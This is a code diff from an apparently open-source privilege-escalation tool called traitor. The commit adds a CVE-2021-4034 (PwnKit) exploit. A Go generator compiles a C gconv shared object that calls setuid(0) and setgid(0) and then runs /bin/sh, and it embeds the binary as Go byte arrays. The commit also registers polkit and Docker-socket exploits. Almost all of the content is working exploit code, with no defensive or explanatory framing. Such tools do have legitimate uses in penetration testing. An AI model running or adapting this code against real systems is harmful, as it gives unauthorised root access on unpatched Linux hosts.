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* Add support for cve-2021-4034
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,10 +1,17 @@ | ||
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| .PHONY: build | ||
| build: | ||
| CGO_ENABLED=0 go build ./cmd/traitor | ||
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| .PHONY: pack | ||
| pack: | ||
| go run ./cmd/pack | ||
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| .PHONY: install | ||
| install: | ||
| CGO_ENABLED=0 go install -ldflags "-X github.com/liamg/traitor/version.Version=`git describe --tags`" ./cmd/traitor | ||
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| .PHONY: test | ||
| test: | ||
| go test ./... -race -cover |
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,104 @@ | ||
| package main | ||
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| import ( | ||
| "bytes" | ||
| "fmt" | ||
| "io/ioutil" | ||
| "os" | ||
| "os/exec" | ||
| "path/filepath" | ||
| ) | ||
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| const outputDir = "./pkg/exploits/cve20214034" | ||
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| func main() { | ||
| if err := buildPwnkitSharedObjects(); err != nil { | ||
| panic(err) | ||
| } | ||
| } | ||
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| func buildPwnkitSharedObjects() error { | ||
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| for _, platform := range []struct { | ||
| goarch string | ||
| binary string | ||
| args []string | ||
| }{ | ||
| { | ||
| goarch: "amd64", | ||
| binary: "gcc", | ||
| args: []string{"-Wall", "--shared", "-fPIC", "-o"}, | ||
| }, | ||
| { | ||
| goarch: "386", | ||
| binary: "gcc", | ||
| args: []string{"-m32", "-Wall", "--shared", "-fPIC", "-o"}, | ||
| }, | ||
| { | ||
| goarch: "arm64", | ||
| binary: "aarch64-linux-gnu-gcc", | ||
| args: []string{"-Wall", "--shared", "-fPIC", "-o"}, | ||
| }, | ||
| } { | ||
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| for _, command := range []string{"/bin/sh", "/usr/bin/true"} { | ||
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| desc := filepath.Base(command) | ||
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| pwnkitSrc := fmt.Sprintf(`#include <stdio.h> | ||
| #include <stdlib.h> | ||
| #include <unistd.h> | ||
| void gconv(void) {} | ||
| void gconv_init(void *step) { | ||
| char *const args[] = {"%s", NULL}; | ||
| char *const environ[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/" | ||
| "bin:/sbin:/bin:/opt/bin", | ||
| NULL}; | ||
| setuid(0); | ||
| setgid(0); | ||
| execve(args[0], args, environ); | ||
| exit(0); | ||
| }`, command) | ||
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| sourcePath := filepath.Join(os.TempDir(), "traitor.c") | ||
| if err := ioutil.WriteFile(sourcePath, []byte(pwnkitSrc), 0600); err != nil { | ||
| return err | ||
| } | ||
| if err := exec.Command(platform.binary, append(platform.args, "/tmp/traitor.so", sourcePath)...).Run(); err != nil { | ||
| return err | ||
| } | ||
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| soFilename := fmt.Sprintf("sharedobject_%s_%s.go", desc, platform.goarch) | ||
| soPath := filepath.Join(outputDir, soFilename) | ||
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| rawSO, err := ioutil.ReadFile("/tmp/traitor.so") | ||
| if err != nil { | ||
| return err | ||
| } | ||
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| output := bytes.NewBufferString( | ||
| fmt.Sprintf( | ||
| "//go:build %s\npackage cve20214034\n\nvar pwnkit_%s_sharedobj = []byte{", | ||
| platform.goarch, | ||
| desc, | ||
| ), | ||
| ) | ||
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| for i, b := range rawSO { | ||
| if i%16 == 0 { | ||
| output.WriteString("\n ") | ||
| } | ||
| output.WriteString(fmt.Sprintf(" %d,", b)) | ||
| } | ||
| output.WriteString("\n}\n") | ||
| if err := ioutil.WriteFile(soPath, output.Bytes(), 0755); err != nil { | ||
| return err | ||
| } | ||
| } | ||
| } | ||
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| return nil | ||
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| } |
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,19 @@ | ||
| package exploits | ||
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| import ( | ||
| "github.com/liamg/traitor/pkg/exploits/cve20213560" | ||
| "github.com/liamg/traitor/pkg/exploits/cve20214034" | ||
| "github.com/liamg/traitor/pkg/exploits/dockersock" | ||
| ) | ||
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| func init() { | ||
| register("docker:writable-socket", SpeedFast, dockersock.New()) | ||
| } | ||
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| func init() { | ||
| register("polkit:CVE-2021-3560", SpeedFast, cve20213560.New()) | ||
| } | ||
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| func init() { | ||
| register("polkit:CVE-2021-4034", SpeedFast, cve20214034.New()) | ||
| } |
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